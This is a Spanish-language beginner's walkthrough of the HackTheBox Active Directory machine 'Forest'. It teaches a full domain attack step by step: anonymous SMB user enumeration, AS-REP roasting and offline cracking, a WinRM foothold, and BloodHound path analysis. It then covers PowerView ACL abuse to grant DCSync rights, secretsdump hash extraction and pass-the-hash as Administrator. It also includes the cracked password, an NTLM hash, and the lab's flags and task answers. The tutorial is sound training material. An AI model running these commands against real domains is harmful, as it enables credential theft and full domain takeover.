Volver al laboratorio ~/iphobiuss/guias/03-forest

Forest

HTB WINDOWS EASY ACTIVE DIRECTORY DCSYNC

Guía para principiantes de Forest, la #3 de la serie y la primera de Active Directory. Cambia el paradigma respecto a Cap y Knife: aquí no hay web ni exploit de servicio: es un ataque de dominio completo. De la enumeración anónima al acceso como Administrator, razonando cada salto. Si es tu primera AD, es normal sentirse perdido al inicio: AD es otro mundo, y esta guía te lleva de la mano por él.

Mi cuadernoFavoritos y lectura guardados solo en este navegador.El punto de lectura se actualiza al desplazarte.Cuaderno opcional no disponible.
En esta guía
Requisitos: cuenta HTB (VIP para retiradas), Kali, y la VPN levantada (una a la vez: sudo pkill openvpn antes de reconectar, como en Knife).

Herramientas nuevas que usa esta máquina: netexec, impacket-GetNPUsers, john, evil-winrm, bloodhound-ce-python + BloodHound CE, PowerView, impacket-secretsdump. La mayoría vienen en Kali (según la instalación). En esta guía la IP objetivo es 10.129.62.145 y la IP del atacante (tun0) 10.10.14.57; las tuyas serán distintas.
Resumen del recorrido (contiene spoilers)
01
RECON
DC · 23 puertos
02
ENUM
SMB anónimo · 31 users
03
AS-REP
roast → crack → s3rvice
04
FOOTHOLD
WinRM → svc-alfresco
05
BLOODHOUND
mapa del dominio
06
PRIVESC
ACLs → DCSync → PtH
Entorno y versiones documentadas
  • Kali Linux y VirtualBox: versiones no especificadas en la guía original.
  • Análisis: BloodHound CE; versión exacta no indicada.

Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.

Modo de lectura
▚

01 · RECONOCIMIENTO DE UN DC

23 puertos no asustan: son la huella de un Domain Controller.
PISTAIdentifica los puertos abiertos, sus servicios y versiones. Anota una hipótesis de entrada por cada servicio.
Ver solución paso a paso

▚ Dominio y Domain Controller

Un dominio gestiona de forma centralizada muchos equipos y usuarios bajo un mismo paraguas (la cuenta corporativa con la que inicia sesión toda una empresa). El Domain Controller (DC) es el servidor que manda: centraliza las cuentas, grupos, permisos y los secretos de autenticación (no contraseñas en texto claro, sino material derivado de ellas), y autentica a todos. Forest es un DC. Comprometer un DC es comprometer el dominio entero, por eso es el objetivo más goloso.

Barrido y detección

Comandos / terminal
mkdir -p ~/htb/forest/nmap && cd ~/htb/forest
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.62.145
nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oA nmap/detail 10.129.62.145
EL TTL, UNA PISTA DEL SOEl ping devolvía ttl=127. Windows suele partir su TTL en 128 (baja 1 por salto) y Linux en 64, así que ~127 sugiere Windows y ~63 Linux. Es una pista frecuente en labs, no una prueba (el TTL se puede modificar y depende de los saltos). Aquí encaja con que AD es tecnología Microsoft, y se confirma con el fingerprint.

Leer un DC de un vistazo

A diferencia de Cap (3 puertos) y Knife (2), un DC devuelve 23. Los 4966x/4967x son RPC dinámico (ruido). Los que importan forman la huella de AD:

Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.

PuertoServicioQué significa
88KerberosLa estrella: el sistema de autenticación de AD. Es una pieza característica de la huella de AD; por sí solo no prueba que sea un DC, pero junto a LDAP, SMB y DNS la inferencia es fuerte. La técnica de Forest lo ataca.
389 / 636LDAP / LDAPSLa "guía telefónica" del dominio: usuarios, grupos, permisos. Clave para enumerar. Permite anonymous bind.
445SMBComparticiones Windows. Aquí acepta sesión nula (guest).
53DNSEl DC también es el DNS del dominio.
5985 / 47001WinRMAdministración remota. Con credenciales, tu vía a una shell (el "SSH de Windows").

El -sCV revela el nombre del dominio, repetido por todas partes: Domain: htb.local, FQDN: FOREST.htb.local, Windows Server 2016. Y una perla en el script de SMB: account_used: guest → acepta acceso anónimo.

Mapear el dominio en /etc/hosts (resolución de nombres)

Muchas herramientas de AD (sobre todo las de Kerberos) fallan si les hablas por IP: necesitan el nombre. Enséñale a Kali a resolver el dominio:

Comandos / terminal
sudo sh -c 'echo "10.129.62.145 htb.local forest.htb.local FOREST" >> /etc/hosts'
ping -c 2 forest.htb.local   # debe resolver el nombre a la IP
RESOLUCIÓN DE NOMBRES EN ADKerberos y muchas herramientas de AD necesitan resolver el nombre del dominio, no la IP. Si tu Kali no usa el DNS del DC, ese nombre se mapea en /etc/hosts: es lo habitual en labs, no un requisito inherente de AD. Y un dominio por vez: limpia entradas viejas de otros labs para no confundirte.
▚

02 · ENUMERACIÓN ANÓNIMA

Sin credenciales, pero el dominio ya nos habla.
PISTAComprueba qué información permite consultar el servicio sin credenciales, empezando por los nombres de usuario.
Ver solución paso a paso

▚ SMB y por qué el acceso anónimo importa

SMB es el protocolo de Windows para compartir archivos y recursos en red. Cuando permite acceso anónimo/guest, puedes preguntarle cosas sin credenciales, entre ellas a veces la lista de usuarios del dominio. Y conseguir esa lista es el primer gran paso en AD: necesitas saber a quién atacar.

Confirmar sesión nula y sacar usuarios

Comandos / terminal
netexec smb 10.129.62.145 -u '' -p ''            # (Null Auth:True) = acepta anónimo
netexec smb 10.129.62.145 -u '' -p '' --users    # lista los usuarios del dominio

El --users devuelve 31 usuarios. La habilidad clave es separar el grano de la paja:

Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.

Ruido (ignorar)Grano (personas / cuentas reales)
Administrator, Guest, krbtgt, DefaultAccount (integradas) · SM_*, HealthMailbox*, $* (cuentas de Exchange, autogeneradas)sebastien, lucinda, andy, mark, santi, y svc-alfresco
EL PREFIJO svc-svc-alfresco salta a la vista: svc- = service account (cuenta de servicio, no persona). Son objetivos interesantes porque pueden tener configuraciones o credenciales débiles, así que el prefijo svc- justifica priorizar su revisión. Pero eso no implica por sí mismo que sea vulnerable a AS-REP Roasting: es un reflejo de "investigar primero", no de "asumir vulnerable".

Guarda los usuarios-persona en un archivo (los necesitarás):

Comandos / terminal
echo 'sebastien
lucinda
andy
mark
santi
svc-alfresco' > users.txt
▚

03 · AS-REP ROASTING + CRACKING

Pedir material AS-REP de un usuario sin autenticarte y atacarlo offline.
PISTAInvestiga si todas las cuentas exigen preautenticación y qué respuesta entrega el servicio cuando no la requieren.
Ver solución paso a paso

▚ AS-REP Roasting

Normalmente Kerberos exige pre-autenticarte antes de darte información. Pero existe una opción de cuenta, "no requiere pre-autenticación", que si está activada hace que Kerberos te entregue información cifrada sin autenticarte. Esa información contiene algo derivado de la contraseña del usuario. Si la capturas, la crackeas offline.

AS-REP Roasting = solicitar un AS-REP de una cuenta sin pre-autenticación y atacar offline la porción cifrada con una clave derivada de su contraseña. El tooling lo llama coloquialmente "hash" ($krb5asrep$, hash.txt), pero es material cifrado, no una huella unidireccional.

Pedir los hashes

Comandos / terminal
impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt

Los cinco usuarios-persona responden doesn't have UF_DONT_REQUIRE_PREAUTH set (bien configurados). Pero svc-alfresco suelta el premio: un hash $krb5asrep$.... Guárdalo:

Comandos / terminal
impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt | grep '\$krb5asrep\$' > hash.txt

Crackear offline

Ojo con el vocabulario: GetNPUsers devuelve el AS-REP en un formato que john/hashcat atacan offline, pero no es una simple huella unidireccional de la contraseña. Parte del AS-REP está cifrada con una clave derivada de la contraseña del usuario, así que pruebas candidatos localmente hasta dar con uno que descifre correctamente el mensaje. Se hace offline (en tu Kali, sin tocar la víctima, intentos ilimitados) con un diccionario. hashcat es lo estándar, pero en una VM sin GPU falla:

Comandos / terminal
hashcat -m 18200 hash.txt rockyou.txt   # falla: no OpenCL/CUDA (VM sin GPU)
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt   # funciona: detecta el tipo solo

John lo rompe en un segundo: svc-alfresco : s3rvice.

hashcat vs johnhashcat brilla con GPU; en una VM sin GPU, john es tu herramienta de cracking (usa CPU sin quejarse y autodetecta el tipo de hash). Ten ambas en el arsenal.
▚

04 · FOOTHOLD · WINRM

De anónimo a usuario autenticado del dominio.
PISTAValida las credenciales conseguidas en un servicio de acceso remoto disponible.
Ver solución paso a paso

Validar credenciales (buen reflejo en AD)

Antes de usar unas credenciales nuevas, compruébalas. Y verifica si sirven para WinRM:

Comandos / terminal
netexec smb 10.129.62.145 -u svc-alfresco -p s3rvice    # [+] = válidas
netexec winrm 10.129.62.145 -u svc-alfresco -p s3rvice  # (Pwn3d!) = puede entrar por WinRM

Conseguir shell

evil-winrm es el "SSH de Windows": administración remota que da una terminal PowerShell con credenciales válidas.

Comandos / terminal
evil-winrm -i 10.129.62.145 -u svc-alfresco -p s3rvice

Caes en *Evil-WinRM* PS C:\Users\svc-alfresco\Documents>. Estás dentro del DC como svc-alfresco.

User flag

En Windows la flag está en el Desktop, no en /home. Comandos de PowerShell: cd, dir (el ls), type (el cat).

Comandos / terminal
cd C:\Users\svc-alfresco\Desktop
type user.txt   # -> 8a961daab9f55e5a4a4a738aa69b0434
▚

05 · BLOODHOUND

La escalada en AD es sobre relaciones y permisos, no sobre un binario.
PISTASigue las relaciones que salen de la cuenta actual. Distingue pertenencia a grupos y permisos sobre objetos.
Ver solución paso a paso

▚ ¿Qué es BloodHound?

Recolecta toda la información del dominio (usuarios, grupos, permisos, relaciones) y la dibuja como un grafo. Su magia: calcula el camino más corto desde donde estás hasta Domain Admin, mostrando qué permiso abusar en cada paso. En un dominio real con miles de objetos, encontrar ese camino a mano es imposible.

Recolectar para BloodHound CE (desde Kali)

Instala el recolector bloodhound-ce-python y registra su versión junto con la de BloodHound CE. El recolector bloodhound-python pertenece a legacy; si eliges legacy, usa también su analizador compatible. Este texto adapta el emparejamiento de herramientas; no acredita una nueva ejecución del laboratorio.

Comandos / terminal
bloodhound-ce-python -d htb.local -u svc-alfresco -p s3rvice -ns 10.129.62.145 -c All --zip

-ns es el DNS (el propio DC), -c All solicita todos los métodos soportados; la cobertura efectiva depende de los permisos y servicios accesibles, --zip empaqueta. Genera un .zip. Revisa los avisos de Kerberos → NTLM fallback y clock skew: el fallback no demuestra cobertura completa. Si la hora impide autenticar, comprueba la sincronización antes de repetir la recolección.

Analizar (BloodHound CE)

Comandos / terminal
bloodhound-start   # solo si tu paquete Kali incluye este launcher; consulta su salida

Arranca CE según el método que hayas instalado. La URL, el usuario y la contraseña inicial se obtienen de la configuración o del resultado del bootstrap de ese despliegue; no se presuponen credenciales universales. Cambia la contraseña inicial cuando tu instalación lo requiera y confirma que puedes entrar antes de importar el ZIP.

En la interfaz, Quick Upload tu .zip, espera el procesado, y busca svc-alfresco para confirmar que cargó. En Pathfinding: origen svc-alfresco, destino Exchange Windows Permissions. El grafo:

svc-alfresco ─MemberOf→ Service Accounts ─MemberOf→ Privileged IT Accounts ─MemberOf→ Account Operators ─GenericAll→ Exchange Windows Permissions ─WriteDacl→ HTB.LOCAL

Traducción: por su cadena de grupos, svc-alfresco llega a Account Operators, que tiene GenericAll (control total) sobre Exchange Windows Permissions, y ese grupo tiene WriteDacl sobre el dominio entero. Esta cadena permite conceder derechos de replicación y obtener material de autenticación de Administrator; no demuestra una membresía nueva en Domain Admins.

▚

06 · ACLs → DCSYNC → PASS-THE-HASH

Tres movimientos que convierten permisos delegados en acceso como Administrator.
PISTANo busques binarios locales: aquí el camino son los permisos sobre objetos del dominio. Mira qué puede hacer tu cuenta (o un grupo al que perteneces) sobre el dominio y qué derecho permite pedirle al controlador todos los hashes.
Ver solución paso a paso

▚ Los permisos que vamos a abusar

GenericAll = control total sobre un objeto (puedes, por ejemplo, agregarte a un grupo). WriteDacl = puedes modificar la lista de permisos (DACL) de un objeto, y así concederte a ti mismo nuevos derechos. DCSync = abusar de la replicación entre DCs para pedirle al DC todos los hashes de contraseñas del dominio, como si fueras otro DC.

Preparar PowerView (vía evil-winrm)

Ejemplo de la guía
# en Kali:
cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 ~/htb/forest/
# en la sesión evil-winrm:
upload /home/iphobiuss/htb/forest/PowerView.ps1
. .\PowerView.ps1                # dot-sourcing: carga las funciones (silencio = ok)

Movimiento 1 · Agregarte al grupo (GenericAll)

Comandos / terminal
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco'
Get-DomainGroupMember -Identity 'Exchange Windows Permissions' | Select-Object MemberName

La verificación muestra svc-alfresco como miembro. Ya perteneces al grupo con WriteDacl sobre el dominio.

Movimiento 2 · Concederte DCSync (WriteDacl)

Ejemplo de la guía
$pass = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity 'svc-alfresco' -Rights DCSync
TIMINGLa pertenencia al grupo tarda unos segundos en propagarse. Si el Movimiento 2 da error de permisos, espera 10-15 s y reintenta.

Movimiento 3 · DCSync (desde Kali)

Comandos / terminal
impacket-secretsdump htb.local/svc-alfresco:s3rvice@10.129.62.145

El rpc_s_access_denied inicial es un método secundario: se ignora, porque debajo vuelca todos los hashes del dominio. La línea que importa (RID 500 = Administrator):

Ejemplo de la guía
htb.local\Administrator:500:aad3b435...:32693b11e6aa90eb43d32c72a07ceea6:::

Pass-the-Hash · acceso como Administrator

No hace falta crackear ese hash. En Windows te autenticas con el hash directamente (Pass-the-Hash): en vez de -p contraseña, usas -H hash.

Comandos / terminal
evil-winrm -i 10.129.62.145 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
type C:\Users\Administrator\Desktop\root.txt   # -> 650ace87ec9847f97c3deb4b998ef61a

Acceso como Administrator documentado. DCSync no demuestra por sí solo membresía en Domain Admins.

▚

TASKS · GUIDED MODE

Las flags son de una instancia concreta. En tu máquina serán distintas.
Mostrar respuestas del laboratorio

Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.

TaskRespuesta
¿De qué dominio es esta máquina el Domain Controller?htb.local
Servicio que permite autenticación anónima e info valiosaLDAP
¿Qué usuario tiene la pre-autenticación de Kerberos deshabilitada?svc-alfresco
Contraseña del usuario svc-alfrescos3rvice
Puerto para conectar y obtener una shell interactiva5985 (WinRM)
Grupo que permite a svc-alfresco auto-agregarse a "Exchange Windows Permissions"Account Operators
Grupo con permisos WriteDACL sobre el dominio HTB.LOCALExchange Windows Permissions
Ataque para elevar privilegios con WriteDACL sobre el dominioDCSync
User flag8a961daab9f55e5a4a4a738aa69b0434
Root flag650ace87ec9847f97c3deb4b998ef61a
▚

CONCEPTOS NUEVOS (EL MUNDO AD)

Forest abre Active Directory: un arsenal entero que Cap y Knife no tenían.

GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.

  • GENERALFingerprint de DC: 20+ puertos con Kerberos (88) + LDAP (389/636) + SMB (445) + DNS (53) = Domain Controller. ttl≈127 sugiere Windows (pista, no prueba).
  • LAB/etc/hosts en AD: Kerberos resuelve por nombre, no por IP; mapear el dominio en /etc/hosts es la solución habitual en labs (no un requisito inherente de AD).
  • GENERALEnumeración anónima: SMB con Null Auth / LDAP anonymous bind → lista de usuarios del dominio sin credenciales.
  • GENERALAS-REP Roasting: cuentas sin pre-auth de Kerberos (típico en svc-) → hash con GetNPUsers, crackeable offline.
  • GENERALCracking: john cuando no hay GPU; autodetecta el tipo de hash. rockyou como diccionario.
  • GENERALValidar y entrar: netexec smb/winrm (Pwn3d!) → evil-winrm para shell.
  • GENERALBloodHound: recolectar con bloodhound-ce-python, analizar el grafo y distinguir membresías, derechos de replicación y acceso como Administrator.
  • GENERALAbuso de ACLs: GenericAll (control total) y WriteDacl (modificar permisos) con PowerView.
  • GENERALDCSync: abusar de la replicación para volcar todos los hashes (secretsdump), incluido Administrator.
  • GENERALPass-the-Hash: autenticarte con el hash NTLM sin conocer la contraseña (-H).